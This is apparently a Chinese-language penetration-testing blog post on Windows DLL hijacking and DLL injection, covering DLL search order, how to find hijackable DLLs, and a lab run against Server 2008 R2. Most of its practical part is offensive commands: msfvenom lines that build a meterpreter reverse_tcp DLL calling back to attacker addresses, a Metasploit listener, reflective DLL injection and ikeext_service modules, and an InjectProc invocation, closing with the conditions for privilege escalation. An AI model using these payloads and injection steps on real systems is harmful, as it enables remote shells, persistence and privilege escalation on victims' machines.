0x01 DLL劫持漏洞根源

程序在调用DLL时未指明DLL的完整路径

1
2
3
4
`3gstudent`提到的DLL劫持漏洞微软尚未给出直接的修复方法,原因可能有以下几点:
        *这是开发者的失误,换用绝对路径就能避免这个问题
        *利用的前提是攻击者已经能够在同级目录放置文件,这代表系统已经被攻破
        *如果直接修复,或许会影响老版本程序,兼容性不好

当一个应用程序需要加载一个DLL时

1
2
3
4
5
6
7
8
加载顺序为
        *应用程序的目录
        *c:\windows\system32
        *c:\windows\system
        *c:\windows
        *当前工作目录
        *系统PATH环境变量
        *用户PATH环境变量

默认情况下,如果软件安装在C盘根目录而不是c:\Program Files,那经过身份验证的用户具有该目录写入权限。
另外,Perl,Python,Ruby等软件通常都添加到Path变量中。
那攻击者可以在当前目录中编写恶意DLL,只要重新运行exe程序就gg。详细内容见:microsoft

0×02 劫持Windows系统的DLL

要分析一个应用程序是否存在劫持系统DLL的漏洞,需要这么几个步骤:

1
2
3
4
5
*启动应用程序
*使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
*从该应用程序已经加载的DLL列表中,查找在上述`KnownDLLs注册表项`中不存在的DLL。
*编写第三步中获取到的DLL的劫持DLL。
*将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。

0x03 如何编写一个劫持的DLL

测试靶机:Server 2008 R2
攻击主机:Mac + Metasploit

DLL_Hijacker.py

1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的恶意代码

使用DLL_Hijacker.py脚本可以一键生成劫持指定DLL的CPP源码文件。
对这个CPP文件进行编译就生成了相应的劫持DLL文件。

metasploit生成dll并监听

1
2
3
4
5
6
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.101.101.100 lport=2222 -f dll > attack.dll
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 10.10.10.2
    set lport 4444
    run

remote-dll-injector

据说采取了CreateRemoteThread的技术,支持dll注入的工具,提供pid和dll路径就行,测试失败
图片已损坏

Metasploit注入

1
2
3
4
5
6
方法一
    use post/windows/manage/reflective_dll_inject
    set path 攻击主机的dll路径
    set pid  xxxx
    set session x
    exploit

图片已损坏

1
2
3
4
5
方法二
    use exploit/windows/local/ikeext_service
    set dir C:\\windows\\
    set session x
    run

图片已损坏

Invoke-DllInjection

图片已损坏

可能是我的方法不对,第一二两种皆失败,powersploit和ikeext_service成功。有知道的朋友麻烦联系下qq。在此多谢

更新injectProc

1
2
InjectProc.exe dll_inj path/to/dll.dll notepad.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2222 LPORT=4444 -f dll -o xxxx.dll

https://www.youtube.com/watch?v=hLPDq9nSHMw


0x04 结语

为了能够通过DLL劫持升级特权,需要满足以下条件:

1
2
3
4
*在系统文件夹上写入权限
*软件安装在非默认目录下
*作为系统运行并缺少DLL的服务
*重新启动服务

另外,在挖掘此类漏洞时也要注意到不存在劫持漏洞的DLL如果调用了一个或多个其他DLL,那么依旧有可能会产生DLL劫持漏洞。如果宿主进程已经取得了UAC权限,那么DLL劫持也是另外一种获取UAC权限的方式,同时,由于DLL劫持漏洞的隐蔽性,安全软件难以捕捉检测,很多恶意软件使用此漏洞作为后门的通道或者自启动技术。后续将更新lnk-dll劫持。敬请期待

最后附上lostwolf表哥的添加用户的dll


AheadLib 自动生成一个特洛伊DLL分析代码的工具

https://github.com/stephenfewer/ReflectiveDLLInjection

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secrary/InjectProc/issues

https://www.nettitude.co.uk/dll-injection-part-one/

https://www.nettitude.co.uk/dll-injection-part-two/

http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

深入解析DLL劫持漏洞

DLL劫持漏洞自动化识别工具Rattler测试

DLL攻击一次实战

反射型DLL注射技术